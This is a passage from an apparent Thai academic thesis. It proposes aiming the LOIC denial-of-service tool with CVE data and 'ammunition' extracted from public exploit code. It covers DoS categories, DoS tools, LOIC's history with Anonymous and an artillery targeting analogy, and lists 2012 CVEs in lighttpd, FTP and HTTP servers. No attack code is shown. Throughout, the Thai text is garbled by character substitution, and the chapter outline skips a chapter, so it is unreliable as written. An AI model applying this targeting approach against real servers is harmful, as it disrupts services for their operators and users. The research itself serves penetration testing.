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and information on the CVE are used to position the cannon and target evaluation is 
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บทที�  1 

บทนํา 

1.1. ความเป็นมาและความสาํคัญของปัญหา 

การโจมตีแบบปฏิเสธการใช้งานที*มีการใช้งานกลุ่มข้อมูลจราจร (traffic) ใน
ปริมาณสงูได้กลายมาเป็นหนึ*งในรูปแบบการโจมตีซึ*งพบมากบนอินเทอร์เน็ต การทดสอบการเจาะ
ระบบ [1] ถือเป็นเรื*องสําคญัที*เพิ*มมากขึ 'นเพื*อประเมินช่องโหว่ของโครงสร้างพื 'นฐาน (perimeter 
infrastructure vulnerabilities) แหล่งข้อมลูของช่องโหว่ที*สามารถหาได้อย่างสาธารณะส่วนมาก
ได้ออกรายงานมาเป็นซีวีอีซึ*งถูกก่อตั 'งขึ 'นโดยองค์กร MITRE [2] ทั 'งนี ' งานวิจยันี ' จึงได้นําเสนอ
ระเบียบวิธีวิจยัรูปแบบใหม่โดยการนําซีวีอีมาเป็นข้อมลูชี 'เป้าสําหรับการโจมตีแบบปฏิเสธการใช้
งานโดยใช้แอลโอไอซีเป็นเครื*องมือยิงทดสอบการโจมตีแบบปฏิเสธการใช้งาน 

1.2. วัตถุประสงค์ของการวิจัย 

งานวิจัยนี 'มีวัตถุประเพื*อนําเสนอระเบียบวิธีการประยุกต์ใช้โลว์ออบิทไอออน
แคนนอนในการทดสอบการเจาะระบบเพื*อหาชอ่งทางในการเข้าถึงระบบจากการโจมตีแบบปฏิเสธ
การใช้งานโดยใช้ซีวีอีเป็นข้อมลูในการชี 'เป้า 

1.3. ขอบเขตของการวิจัย 

1.3.1. ประเภทของซีวีอีที*นํามาใช้นั 'น ต้องมีข้อมลูที*สามารถนํามาใช้งานร่วมกับ
การโจมตีแบบปฏิเสธการใช้งานได้ 

1.3.2. การสั*งการโจมตีต้องอาศยัภาษาเชิงบท (script language)  

1.4. คาํจาํกัดความที�ใช้ในการวิจัย 

1.4.1. การโจมตีแบบปฏิเสธการใช้งาน คือ การโจมตีเพื*อให้เป้าหมายปฏิเสธหรือ
หยดุการให้บริการ 

1.4.2. ซีวีอี (Common Vulnerabilities and Exposures) คือ แหล่งรวบรวม
ข้อมูลช่องโหว่ของระบบคอมพิวเตอร์ มีวตัถุประสงค์เพื*อใช้อ้างถึงช่องโหว่ของระบบคอมพิวเตอร์
อยา่งเป็นมาตรฐาน 
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1.4.3. การทดสอบการเจาะระบบ (Penetration Testing) คือ การทดสอบเพื*อ
ค้นหาจดุออ่นสําหรับเป็นชอ่งทางในการเข้าถึงระบบ 

1.4.4. โลว์ออบิทไอออนนแคนนอน (Low Orbit Ion Cannon) หรือ แอลโอไอซี 
(LOIC) คือ เครื*องมือชนิดหนึ*งที*ใช้ในการโจมตีแบบปฏิเสธการใช้งาน  

1.5. ประโยชน์ที�คาดว่าจะได้รับ 

งานวิจยันี 'นําเสนอการใช้แอลโอไอซีสําหรับการทดสอบการเจาะระบบโดยอาศยั
การโจมตีแบบปฏิเสธการใช้งานซึ*งใช้ซีวีอีเป็นข้อมูลในการชี 'เป้าสําหรับนํามาใช้เป็นแนวทาง
เบื 'องต้นในการตรวจสอบข้อบกพร่องของซอฟต์แวร์ที*ยงัไมไ่ด้รับการแก้ไขโดยผู้ดแูลระบบ 

1.6. วิธีดาํเนินการวิจัย 

1.6.1. ศกึษาขั 'นตอนวิธีการโจมตีแบบปฏิเสธการใช้งาน 

1.6.2. ศึกษาประเภทของซีวีอีที*สามารถนําไปใช้ประโยชน์ในการโจมตีแบบ
ปฏิเสธการใช้งานได้ 

1.6.3. ศกึษาและออกแบบระบบการใช้แอลโอไอซีสําหรับการโจมตีแบบปฏิเสธ
การใช้งานโดยมีซีวีอีเป็นข้อมลูในการชี 'เป้า 

1.6.4. ศกึษาและทดสอบกระสนุที*ได้สกดัออกมาจากรหสัคําสั*งโปรแกรมสําหรับ
โจมตีผา่นชอ่งโหว ่

1.6.5. ทดสอบและรวบรวมผลการทดลองจากวิธีการที*นําเสนอ 

1.6.6. วิเคราะห์ผลการทดลอง 

1.6.7. สรุปผลงานวิจยัและเรียบเรียงวิทยานิพนธ์ 

1.7. ลาํดับขั 3นตอนในการเสนอผลการวิจัย 

วิทยานิพนธ์นี 'แบ่งเนื 'อหาทั 'งหมด 10 บท โดยแตล่ะบทประกอบไปด้วยเนื 'อหา
ดงัตอ่ไปนี ' 



 
 

3

บทที* 1 นําเสนอ ความเป็นมาและความสําคญัของปัญหา, วตัถปุระสงค์ของการ
วิจัย, ขอบเขตของการวิจัย, คําจํากัดความที*ใช้ในการวิจัย, ประโยชน์ที*คาดว่าจะได้รับ และ
วิธีดําเนินการวิจยั 

บทที* 2 อธิบาย  

1. ทฤษฎีที*เกี*ยวข้อง เช่น การโจมตีแบบปฏิเสธการใช้งาน, ซีวีอี และการโจมตี
แบบปฏิเสธการใช้งาน 

2. เอกสารและงานวิจัยที*เกี*ยวข้อง เช่น ข้อมูลสารสนเทศทางด้านช่องโหว่, 
เครื*องมือที*ใช้ในการโจมตีแบบปฏิเสธการใช้งาน, แอลโอไอซี และ ระบบอาวธุของทหารปืนใหญ่
สนาม 

บทที* 3 ระเบียบวิธีวิจยั 

1. ซีวีอีที*เกี*ยวกบัการโจมตีแบบปฏิเสธการใช้งาน เช่น การคดัเลือกซีวีอีและการ
กําหนดชนิดหรือประเภทของซีวีอีที*จะนํามาใช้ในงานวิจยั 

2. ภาพรวมการทํางานของระบบการโจมตีแบบปฏิเสธการใช้งานโดยใช้ซีวีอีเป็น
ข้อมลูในการชี 'เป้า 

บทที* 4 นําเสนอ ภาวะตรวจพบโปรแกรมสําหรับโจมตีผ่านช่องโหว่และการ
วิเคราะห์โปรแกรมสําหรับโจมตีผา่นชอ่งโหวเ่พื*อนํามาใช้งานวิจยั 

บทที* 5 การตอ่เติมแอลโอไอซีเพื*อใช้เป็นเครื*องมือสําหรับการโจมตีแบบปฏิเสธ
การใช้งานและนํามาใช้ทดสอบในงานวิจยันี ' 

บทที* 6 การวางตําแหนง่ทดสอบระบบและการกําหนดเป้าให้กบัแอลโอไอซีเพื*อใช้
เป็นข้อมลูสําหรับการยิงทดสอบ 

บทที* 7 การยิงโดยอาศยับทคําสั*งควบคมุการยิงของแอลโอไอซี 

บทที* 9 การทดสอบและอภิปรายผลการวิจยั 

บทที* 10 สรุปผลที*ได้รับจากงานวิจยั, ข้อจํากดัของงานวิจยั, และแนวทางการทํา
วิจยัในอนาคต 
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บทที�  2 

เอกสารและงานวิจัยที�เกี�ยวข้อง 

2.1. ทฤษฎีที�เกี�ยวข้อง 

2.1.1. การโจมตีแบบปฏิเสธการใช้งาน 

การโจมตีแบบปฏิเสธการใช้งาน มีจดุประสงค์เพื*อขดัขวางหรือก่อกวนจนทําให้
เครื*องให้บริการ (server) หรือเครือข่าย (network) ไม่สามารถใช้งานได้ตามปกติ ซึ*งแบง่ออกได้
เป็น 3 ประเภท [3] คือ 

2.1.1.1. DoS-flood อาศยัการส่งกลุ่มข้อมลู (packet) หรือคําร้องขอ (request) 
เพื*อขอใช้บริการเป็นจํานวนมากเข้าไปในระบบเครือขา่ยหรือทําให้มีการใช้งานกลุ่มจราจรข้อมลูใน
ปริมาณเพิ*มสงูขึ 'นในเวลาอนัรวดเร็วเกิดผลกระทบที*ตามมาคือการสื*อสารในเครือข่ายตามปกติช้า
ลง หรือมีการใช้งานเครือข่ายเกินขีดจํากดัจนไม่สามารถใช้งานได้ ทั 'งนี 'หากเป็นการส่งกลุ่มข้อมูล
ไปยังเครื* องเป้าหมายก็สามารถทําให้การประมวลผลรวมไปถึงการใช้งานด้านแบนด์วิดท์ 
(bandwidth) ที*มีอยู่อย่างจํากัดถกูใช้ไปจนหมด ตวัอย่างเช่น SYN-Flooding attack [4], Low-
Rate TCP-Targeted DoS attack [5], ICMP Ping Flood [6] เป็นต้น  

2.1.1.2. DoS-malform อาศยัการส่งกลุ่มข้อมูลที*ต้องประสงค์ร้าย (malformed 
packet) เพื*อสร้างความเสียหายจนไม่สามารถให้บริการได้ เนื*องจากโปรแกรมหรือเซอร์วิสของ
ระบบ (system service) ขาดการตรวจสอบหรือมีการตรวจสอบสิ*งรับเข้า (input) ที*รับมาจาก
ภายนอกระบบอย่างไม่เหมาะสม ซึ*งสาเหตดุงักล่าวมาจากความหละหลวมในการตรวจสอบและ
ควบคมุของทางผู้ผลิตเอง ตวัอยา่งเชน่ CVE-2012-1783, CVE-2012-5533 เป็นต้น   

2.1.1.3. DoS-release เป็นประเภทของการโจมตีแบบปฏิเสธการใช้งานที*อาศยั
การจัดการทรัพยากรของระบบที*ไม่เหมาะสม เนื*องจากทรัพยากรของระบบที*ได้ถูกจัดสรร 
(allocate) ขึ 'นมาใช้งานโดยโปรแกรมหรือเซอร์วิสของระบบแล้ว จําเป็นอย่างยิ*งที*ผู้ พัฒนา 
(developer) ต้องมีการคืนทรัพยากรสูร่ะบบอยา่งเหมาะสมหลงัจากมีการใช้งานเสร็จสิ 'นแล้ว ทั 'งนี ' 
หากไม่มีการคืนทรัพยากรสู่ระบบอย่างเหมาะสม เมื*อมีการถูกจัดสรรเพื*อเรียกใช้งานซํ 'าใหม่อีก
ครั 'ง สามารถทําให้เกิดการรั*วไหลของทรัพยากร (resource leak) อนัจะนําไปสู่การใช้ประโยชน์
สําหรับการโจมตีแบบปฏิเสธการใช้งานได้ ตวัอย่างเช่น CVE-2001-0830, CVE-2002-1372 เป็น
ต้น 
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การโจมตีแบบปฏิเสธการใช้งานทั 'งสามประเภทนี 'อาจจะใช้วิธีที*แตกต่างกันไป 
ขึ 'นอยู่กับสถานการณ์และจุดประสงค์ของการโจมตีไปยังระบบที*เป็นเป้าหมายเพื*อให้เกิดความ
เสียหายและขดัข้องจนไมส่ามารถเข้าใช้งานได้ 

2.1.2. ซีวีอี 

ซีวีอี  คือรายชื*อของช่องโหว่ที*เป็นมาตรฐานเดียวกนัสําหรับอ้างอิงถึงช่องโหว่แต่
ละชนิดเพื*อให้แหลง่ข้อมลูด้านช่องโหว่, เจ้าของผลิตภณัฑ์และผู้ ใช้งานโปรแกรมสามารถเข้าใจได้
ตรงกนั สําหรับชื*อของซีวีอีนั 'นประกอบด้วย ปีที*พบช่องโหว่ และลําดบัของช่องโหว่ที*ได้รับซีวีอีในปี
นั 'น ในสว่นของกระบวนการออกหมายเลขซีวีอีนั 'น เริ*มต้นเมื*อมีการค้นพบช่องโหว่ใหม่ที*เกิดขึ 'นจะ
มีการให้หมายเลขซีวีอีที*ได้รับเลือก (CVE candidates) เพื*อรอการเห็นชอบจากคณะกรรมาธิการ 
(editorial board members) 

ดงันั 'นข้อมูลเบื 'องต้นที*กําหนดไว้ในคําอธิบายของซีวีอีจึงมีประโยชน์ต่อผู้ดูแล
ระบบในการค้นหาชอ่งโหวข่องระบบ และสามารถนํามาเป็นข้อมลูเบื 'องต้นสําหรับเครื*องมือที*ใช้ใน
การทดสอบเพื*อค้นหาช่องโหว่ สําหรับในงานวิจยันี 'ได้อาศยัข้อมลูซีวีอีจาก CVE MITRE เพื*อใช้ใน
การอ้างอิงชื*อของซีวีอีและข้อมลูของช่องโหว่ที*มีการค้นพบ และข้อมลูซีวีอีจาก CVE Details [7] 
เพื*อใช้ในการคดักรองซีวีอีที*เกี*ยวกบัการโจมตีแบบปฏิเสธการใช้งาน  

2.1.3. การทดสอบการเจาะระบบ (Penetration Testing) 

การทดสอบการเจาะระบบ เป็นกระบวนการเครื*องมือที*ช่วยในการเก็บข้อมูล
ทางด้านเวลาการทํางานของโปรแกรมในขณะที*โปรแกรมทํางาน เพื*อใช้ในการวิเคราะห์พฤติกรรม
ของโปรแกรม โดยประเภทการทดสอบการเจาะระบบแบง่ได้เป็น 3 ประเภท [8, 9] ดงันี ' 

2.1.3.1. Black-box Testing เป็นการจําลองการโจมตีระบบเครือข่ายจาก
ภายนอกองค์กร ดงันั 'นผู้ทดสอบเจาะระบบ (pentester) จะไม่ได้รับข้อมลูและโครงสร้างของระบบ
เครือข่ายจากผู้ดแูลระบบเครือข่าย (network adminstrator) อีกทั 'งต้องทําการค้นหาและรวบรวม
ข้อมูลของเป้าหมายที*อยู่ภายในระบบเครือข่ายก่อนจึงสามารถทําการทดสอบได้ สําหรับการ
ทดสอบการเจาะระบบประเภทนี 'ผู้ทดสอบเจาะระบบจะใช้เวลาส่วนใหญ่ไปกับการเก็บข้อมลูของ
เป้าหมายเพื*อใช้สําหรับการทดสอบ 
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2.1.3.2. White-box Testing เป็นการทดสอบการเจาะระบบที*ได้รับความร่วมมือ
จากผู้ดแูลระบบ ทําให้ผู้ทดสอบเจาะระบบได้รับข้อมูลทางด้านแผนผงัระบบเครือข่ายสามารถ
จดัทําโครงสร้างและแผนงานในการทดสอบได้สะดวกมากยิ*งขึ 'น สําหรับการทดสอบการเจาะระบบ
ประเภทนี 'ผู้ทดสอบเจาะระบบจะจะใช้เวลาส่วนใหญ่ไปกับการทดสอบการเจาะระบบเพื*อค้นหา
ชอ่งโหวที่*สามารถนําไปใช้ประโยชน์ในการโจมตีเพื*อเป็นชอ่งทางในการเข้าถึงระบบได้ 

2.1.3.3. Gray-box Testing [10] สําหรับการทดสอบการเจาะระบบประเภทนี ' 
ทางสถาบนั International Council of Electronic Commerce Consultants หรือ EC-Council 
จดัให้เป็นการทดสอบการเจาะระบบซึ*งมีการจําลองการโจมตีแบบภายใน โดยจุดประสงค์เพื*อ
ทดสอบการป้องกันการโจมตีจากภายในองค์กร ทั 'งจากพนกังานหรือผู้ ไม่ประสงค์ดีที*แฝงตวัอยู่
ภายในองค์กร  

2.2. เอกสารและงานวิจัยที�เกี�ยวข้อง 

2.2.1. Vulnerability Informations 

Vulnerability Informations [11, 12] เป็นข้อมลูที*เกี*ยวกบัช่องโหว่หรือจดุอ่อนที*มี
อยู่บนอปุกรณ์หรือระบบเครือข่าย รวมไปถึงรูปแบบการทํางานทาง ฮาร์ดแวร์ (hardware) เฟิร์ม
แวร์ (firmware) หรือซอฟต์แวร์ (software) สามารถเปิดโอกาสให้ระบบถกูโจมตีได้ ซึ*งช่องโหว่หรือ
จดุออ่นเหลา่นี ' อาจจะสง่ผลกระทบทําให้ระบบทํางานขดัข้องหรือถกูผู้ ไม่ประสงค์ดีใช้เป็นช่องทาง
ในการโจมตีระบบได้ 

2.2.2. เครื�องมือในการโจมตีแบบปฏิเสธการใช้งาน  

เป็นเครื*องมือที*พัฒนาขึ 'นมาเพื*อใช้ในการโจมตีโดยทําให้ปริมาณกลุ่มข้อมูล
จราจรในเครือข่ายเพิ*มสูงขึ 'นในเวลาอนัรวดเร็ว ทําให้การการสื*อสารในเครือข่ายตามปกติช้าลง 
หรือใช้ไม่ได้ รวมไปถึงการขดัขวางมิให้ผู้ ใช้ระบบสามารถเข้าใช้บริการในระบบได้เป็นวิธีที*นิยม
นํามาใช้ในการโจมตี รวมไปถึงมีการกล่าวอ้างและพบในจํานวนของงานวิจยัทางด้านการโจมตี
แบบปฏิเสธการใช้งาน [13] ด้วย ตวัอยา่งของเครื*องมือในการโจมตีแบบปฏิเสธการใช้งาน มีดงันี ' 

slowloris [14] เป็นเครื*องมือที*พฒันาขึ 'นมาเพื*อใช้ในการโจมตีแบบปฏิเสธการใช้
งานผ่านทางโพรโทคอล HTTP สามารถแยกช่วงหมดเวลารอ (timeout) ได้ทั 'งตวับริการ HTTP 
(HTTP server) หรือ ตวับริการแทน (Proxy server)  อีกทั 'งยงัสามารถหลีกเลี*ยงการป้องกัน 
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httpready ได้และยังสามารถทําการโจมตีแบบปฏิเสธการใช้งานที* มีการใช้แบนด์วิดท์ 
(bandwidth) ที*คอ่นข้างตํ*าทําให้ยากตอ่การตรวจจบั 

Metasploit Framework [15] เป็นเครื*องมือที*พฒันาขึ 'นมาเพื*อใช้ในการทดสอบ
เจาะระบบอีกทั 'งยงัมีสามารถใช้งานผ่านคําสั*งของ Metasploit เพื*ออํานวยความสะดวกในการใช้
งาน  

XerXes [16] เป็นเครื*องมือในการโจมตีแบบปฏิเสธการใช้งานที*พฒันาขึ 'นมาโดย
กลุม่ที*ชื*อวา่ The Jester เพื*อใช้สําหรับการยิงทดสอบเครื*องให้บริการ 

slowhttprequest [17] เป็นเครื*องมือที*พฒันาขึ 'นมาเพื*อใช้สําหรับการจําลองการ
โจมตีแบบปฏิเสธการใช้งานที*มีความสามารถในการตั 'งคา่การใช้งานได้ดีขึ 'นกวา่ slowloris 

THC-SSL-DOS [18] เป็นเครื*องมือที*พฒันาขึ 'นมาเพื*อใช้ในการโจมตีแบบปฏิเสธ
การใช้งานโดยอาศยัช่องทางวิธีการปกป้องข้อมูลที*รับเข้า-ส่งออกด้วยการนําข้อมูลมาเข้ารหัส
พิเศษ (Secure Sockets Layer หรือ SSL) จนทําให้เครื*องให้บริการไมส่ามารถให้บริการได้ 

2.2.3. โลว์ออบิทไอออนแคนนอน (Low Orbit Ion Cannon) 

 โลว์ออบิทไอออนแคนนอน [19, 20] เป็นเครื*องมือที*ใช้ในการโจมตีแบบปฏิเสธ
การใช้งานที*ถกูนํามาใช้โดยกลุม่  Anonymous เพื*อใช้ในการก่อเหตโุจมตีไปยงัเว็บไซต์ (web site) 
ของ Church of Scientology [21] และเกิดเหตโุจมตีถดัมาในเดือนตลุาคม ปี 2010  ที*เว็บไซต์ของ
สมาคมอตุสาหกรรมแห่งอเมริกา (Industry Association of America’s website) [22] และอีก
ครั 'งในปฏิบตัิการที*เรียกว่า Operation Payback ในเดือนธันวาคม ปี 2010 ที*ได้มีการโจมตีไปยงั
บริษัทและองค์กรอีกหลายแห่งที*ต่อต้านเว็บไซต์ WikiLeaks [23] เดิมทีนั 'นแอลโอไอซีถูกสร้าง
ขึ 'นมาโดย Praetox Technologies เพื*อใช้ในการทดสอบความเค้นทางเครือข่าย (network stress 
testing) โดยกระทําการโจมตีแบบปฏิเสธการใช้งานอย่างง่าย (simple DoS attack) ผ่านทางโพร
โทคอล (protocol) อย่างเช่น TCP (Transmission Control Protocol), UDP (User Datagram 
Protocol), และ HTTP (Hyper-Text Transfer Protocol) ไปยงัแม่ข่ายที*เป็นเป้าหมาย (target 
host) ทั 'งนี 'แอลโอไอซีสามารถใช้งานได้ทั 'งบนโปรแกรมที*ติดตั 'งบนเครื*องคอมพิวเตอร์ส่วนบุคคล 
(desktop application) และใช้งานผ่านทางเว็บเพจ (web page)  การใช้งานผ่านทางโพรโทคอล 
UDP และ TCP จะเป็นการส่งสายอกัขระอย่างง่ายที*เป็นข้อความธรรมดา (plain text) ไปยงัแม่
ข่ายที*เป้าหมายอย่างตอ่เนื*อง ในขณะที*การใช้งานผ่านโพรโทคอล HTTP นั 'นจะมีการแนบเนื 'อหา 



 
 

8

(content) ของ HTTP GET เข้าไปด้วย เมื*อจํานวนของข้อความที*ถกูส่งออกไปนั 'นมีจํานวนมากขึ 'น
อยา่งมหาศาลจะสง่ผลกระทบตอ่แมข่า่ยที*เป็นเป้าหมายเกิดโหลดเกิน (overload) และไม่สามารถ
ตอบสนองตอ่คําร้องขอใช้บริการจากผู้ ใช้งานที*เข้ามาขอใช้บริการจากแม่ข่ายได้ เนื*องจากว่าแอล
โอไอซีไมไ่ด้มีการจดัเตรียมการป้องกนัและระบบความปลอดภยัจากผู้ ใช้งาน ทําให้ง่ายตอ่การแกะ
รอยหาแหลง่ต้นทาง ตวัอยา่งเชน่ ที*อยูไ่อพี (IP address) ของกลุม่ข้อมลูที*ถกูออกส่งมาในระหว่าง
ที*ถูกใช้งานเพื*อกระทําการโจมตี ทําให้ผู้ ให้บริการอินเทอร์เน็ต (Internet Service Provider) 
สามารถแยก (resolve) หาที*อยูไ่อพีดงักลา่วได้จากชื*อของลกูขา่ย (client name) เป็นต้น 

2.2.4. ระบบอาวุธของทหารปืนใหญ่สนาม (Field Artillery System) 

ระบบอาวธุของทหารปืนใหญ่สนาม [24] ประกอบด้วยองค์ประกอบหลกัสําคญั 
4 ประการ ได้แก่ การค้นหาเป้าหมาย การอํานวยการยิง ระบบอาวธุ-กระสนุ และการควบคมุ
บงัคบับญัชา เป็นต้น ซึ*งมีรายละเอียดดงันี ' 

1. การค้นหาเป้าหมาย เป็นการตรวจจบั พิสจูน์ฝ่าย และกําหนดที*ตั 'งเป้าหมาย 
อนัจําเป็นที*จะทําให้การโจมตีตอ่เป้าหมายเหล่านั 'นสมัฤทธิ8ผล เครื*องมือค้นหาเป้าหมายที*มีอยู่ใน
การควบคมุของทหารปืนใหญ่ ได้แก่ ผู้ตรวจการณ์ทางพื 'นดิน ผู้ตรวจการณ์ทางอากาศ เรดาร์
ตรวจจบัการยิง และเครื*องมือค้นหาเป้าหมายด้วยแสง - เสียง เป็นต้น 

2. การอํานวยการยิง คือกรรมวิธีที*เปลี*ยนข้อมลูซึ*งมาจากองค์การตา่งๆ ในระบบ
การค้นหาเป้าหมายหรือนโยบายของผู้บงัคบับญัชาให้เป็นหลกัฐานยิงที*ถูกต้อง รวดเร็ว และ
ทนัเวลา เพื*อสง่หลกัฐานเหลา่นั 'น (คําสั*งยิง) ไปยงัระบบอาวธุให้ทําการโจมตี  

3. ระบบอาวุธ-กระสุน เป็นตวักลางสําคญัที*ทําให้การใช้ปืนใหญ่สนามบรรลุ
ความสําเร็จในภารกิจที*ผู้บงัคบับญัชาการต้องการ อนัรวมถึงการใช้อาวธุ และกระสนุของทหารปืน
ใหญ่อยา่งเหมาะสม 
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บทที�  3 

วิธีดาํเนินการวิจัย 

  งานวิจยันี 'นําเสนอการสร้างและออกแบบระบบการโจมตีแบบปฏิเสธการใช้งาน
โดยอาศยัระบบซีวีอี (CVE system) ซึ*งเป็นแหลง่อ้างอิงที*มีข้อมลูด้านชอ่งโหวแ่ละถือเป็น
ฐานข้อมลูหลกัสําหรับเครื*องมือทดสอบช่องโหว่ (vulnerability scanner) ดงันั 'นแล้วการโจมตีแบบ
ปฏิเสธการใช้งานที*เกี*ยวข้องกบัซีวีอีสามารถถกูนํามาใช้ในการเตรียมการสําหรับหนว่ยการยิง 
(อยา่งเชน่ ข้อมลูในการผลิตกระสนุ) และการกําหนดเป้า โดยมีวิธีดําเนินการวิจยัดงัตอ่ไปนี ' 

1. ศึกษาค้นคว้าทฤษฎีและงานวิจัยที*เกี*ยวข้องที*สําคญัได้แก่ การโจมตีแบบ
ปฏิเสธการใช้งาน ซีวีอี การทดสอบเจาะระบบ รวมทั 'งงานวิจยั ที*กลา่วอ้างถึงเครื*องมือในการโจมตี
แบบปฏิเสธการใช้งาน การจําแนกและคดัสรรซีวีอีที*มีจดุอ่อนตอ่การโจมตีแบบปฏิเสธการใช้งาน 
เป็นต้น 

2. จดัหาเครื*องมือที*ใช้ในการโจมตีแบบปฏิเสธการใช้งานอย่างเหมาะสมเพื*อใช้
ทดสอบแนวความคิด โดยนําทฤษฎีและงานวิจยัที*เกี*ยวข้องมาพฒันาและทดสอบ เพื*อหาความ
เป็นไปได้และศกึษาเพื*อนํามาใช้ในงานวิจยัตามวตัถปุระสงค์ของงานวิจยั 

3. นําทฤษฎีและงานวิจยัที*เกี*ยวข้องที*เป็นผลลพัธ์จากการศกึษาและทดลอง มา
พฒันาเครื*องมือที*ใช้ในการโจมตีแบบปฏิเสธการใช้งานเพื*อช่วยในการทดสอบเจาะระบบสําหรับ
ผู้ดแูลระบบ 

4. สกดักระสนุออกมาจากโปรแกรมสําหรับโจมตีผ่านช่องโหว่ที*สามารถค้นหาได้
จากอินเทอร์เน็ตตามคําสําคญั (keyword) ที*ได้กําหนดไว้ในคําอธิบายของซีวีอี โดยงานวิจยันี 'ได้
คดัสรรโปรแกรมสําหรับโจมตีผา่นชอ่งโหวที่*เกี*ยวข้องกบัจดุอ่อนอนัเป็นประโยชน์ตอ่การโจมตีแบบ
ปฏิเสธการใช้งาน เพื*อทําให้เห็นภาพและทําความเข้าใจในการโจมตีของกระสุนแต่ละแบบได้
ชดัเจนมากยิ*งขึ 'น สําหรับกระสนุที*สกดัออกมาได้จากรหสัโปรแกรมสําหรับโจมตีผ่านช่องโหว่นั 'นได้
ถกูนํามาใช้สําหรับการทดสอบยิงผา่นทางแอลโอไอซีที*ได้รับการตอ่เตมิแล้ว 

5. ทดสอบและแก้ไขแอลโอไอซีโดยทําการทดลองตามข้อมลูเบื 'องต้นที*กําหนดไว้
ตามคําอธิบายของซีวีอี และเพื*อทดสอบกับกระสุนที*สามารถสกัดออกมาได้ เพื*อใช้ในการหา
ข้อบกพร่องของแอลโอไอซี จากนั 'นทําการปรับปรุง และทดสอบซํ 'า 
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3.1. ซีวีอีที�เกี�ยวข้องกับช่องโหว่ด้านการโจมตีแบบปฏิเสธการใช้งาน 

เริ*มต้นจากการคดัสรรซีวีอีบนพื 'นฐานงานวิจยัของ Yung-Yu Chang [25] ที*ได้มี
การจําแนกประเภทของช่องโหว่ออกมา 15 ประเภทด้วยกันและได้นําเอาช่องโหว่ที*มีจุดอ่อนอนั
เป็นประโยชน์ตอ่การโจมตีแบบปฏิเสธการใช้งานดงัตวัอย่างซึ*งสาธิตให้เห็นถึงแนวโน้มการโจมตีที*
กําลงัเป็นที*สนใจ สําหรับรายการของตวัอย่างซีวีอีที*เกี*ยวกบัการโจมตีแบบปฏิเสธการใช้งานแสดง
ดงัตารางที* 3.1 

 
ตารางที* 3.1 ตวัอยา่งของซีวีอีที*เกี*ยวกบัการโจมตีแบบปฏิเสธการใช้งาน 

ชื*อซีวีอี บริการเป้าหมาย คําอธิบาย 
CVE-2012-5533 Lighttpd ฟังก์ชนั http_request_split_value ที*อยูภ่ายใน 

request.c ในตวับริการเว็บ lighttpd รุ่น 1.4.32 
และรุ่นก่อนหน้าซึ*งอนญุาตให้มีการโจมตี
ระยะไกล (remote attacker) จนเป็นเหตทํุาให้
เกิดการโจมตีแบบปฏิเสธการใช้งาน 

CVE-2012-5329 TYPSoft FTP Server หนว่ยความจําล้น (buffer overflow) ที*เกิดขึ 'นใน
ตวับริการ TYPSoft FTP Server รุ่น 1.1 ผา่นทาง
สายอกัขระยาวในคําสั*งงาน  APE 

CVE-2012-1783 Tiny HTTP Server ตวับริการเว็บ Tiny HTTP Server รุ่น 1.1.9 และ
รุ่นก่อนหน้านี 'ซึ*งอนญุาตให้มีการโจมตีระยะไกล
จนเป็นเหตทํุาให้เกิดการโจมตีแบบปฏิเสธการใช้
งานผา่นทางสายอกัขระยาวในการสง่คําร้องขอ
แบบ GET (GET request) โดยปราศจากการ
ระบตุวัเลขรุ่นของโพรโทคอล HTTP (HTTP 
version number) 

CVE-2012-5905 KnFTPd  หนว่ยความจําล้นที*เกิดขึ 'นในตวับริการ KnFTPd 
รุ่น 1.0.0 ซึ*งอนญุาตให้มีการโจมตีระยะไกลจน
เป็นเหตทํุาให้เกิดการโจมตีแบบปฏิเสธการใช้
งานผา่นทางสายอกัขระยาวในคําสั*งงาน FEAT 
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จากตารางที* 3.1 จะเห็นได้ว่าตวัอย่างซีวีอีนี 'จะถกูนํามาใช้เป็นข้อมลูเบื 'องต้นใน
การชี 'เป้าให้กับแอลโอไอซีเพื*อใช้ในการยิง ซึ*งสําหรับขั 'นตอนและภาพรวมของระบบจะกล่าวใน
หวัข้อถดัไป 

3.2. ภาพรวมของระบบ 

สําหรับในหวัข้อนี 'จะกล่าวถึงภาพรวมของระบบการโจมตีแบบปฏิเสธการใช้งาน
โดยใช้ซีวีอีเป็นข้อมลูในการชี 'เป้าซึ*งได้แสดงดงัภาพที* 3.1 

 
ภาพที* 3.1 ภาพรวมของระบบ 

ภาพที* 3.1 บง่ถึง 4 ขั 'นตอนด้วยกนั คือ ขั 'นตอนการผลิตกระสนุสําหรับนํามาใช้ใน
การยิง ขั 'นตอนการต่อเติมแอลโอไอซีเพื*อให้ใช้งานได้อย่างเหมาะสม ขั 'นตอนการจดัวางตําแหน่ง
ของแอลโอไอซี และขั 'นตอนการยิงกระสุนที*ได้จากขั 'นตอนแรกด้วยแอลโอไอซีที*ได้รับการต่อเติม
แล้ว 
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3.3. แนวคิดเรื�องกระสุนและการสร้างกระสุน 

หวัข้อนี 'กล่าวถึงแนวคิดเรื*องกระสุนและการผลิตกระสุน โดยอาศยัแนวคิดการ
สกดักระสนุออกมาจากรหสัคําสั*งโปรแกรมสําหรับโจมตีผ่านช่องโหว่ (exploit code) ซึ*งช่วยใน
การค้นหากระสนุที*จําเป็นออกมาได้ ซึ*งมีแนวทางและการวิเคราะห์ ดงันี ' 

3.3.1. การค้นหาโปรแกรมสาํหรับโจมตีผ่านช่องโหว่ 

การค้นหาโปรแกรมสําหรับโจมตีผ่านช่องโหว่ (exploit) อาศยังานวิจยัที*เกี*ยวข้อง
ซึ*งมีการกล่าวอ้างถึงการค้นหาหมวดหมู่จากประเภทข้อมลูในภววิทยา (ontology) [26] ประกอบ
กบัการใช้คําหลกัซึ*งปรากฏอยูใ่นคําอธิบายของซีวีอีแตล่ะตวัใช้เป็นแนวทางสําหรับค้นหาโปรแกรม
สําหรับโจมตีผ่านช่องโหว่จากอินเทอร์เน็ตสาธารณะ (public internet) ได้ ในงานวิจยันี 'ได้คดัแยก
เฉพาะซีวีอีที*ออ่นแอตอ่การโจมตีแบบปฏิเสธการใช้งานในปี 2012 และได้มีการใช้คําหลกัของช่อง
โหวที่*ได้กําหนดไว้ในคําอธิบายของซีวีอีเพื*อค้นหาโปรแกรมเหลา่นี 'ในอินเทอร์เน็ตสาธารณะ 

3.3.2. การวิเคราะห์โปรแกรมสาํหรับโจมตีผ่านช่องโหว่ 

สําหรับการวิเคราะห์นั 'นได้อาศยัการตรวจสอบโปรแกรมสําหรับโจมตีผ่านช่องโหว่
ที*ได้จากการค้นพบในข้อ 3.3.1 ทั 'งสว่นของรายละเอียดและส่วนเนื 'อข้อมลูซึ*งสามารถนํามาใช้เป็น
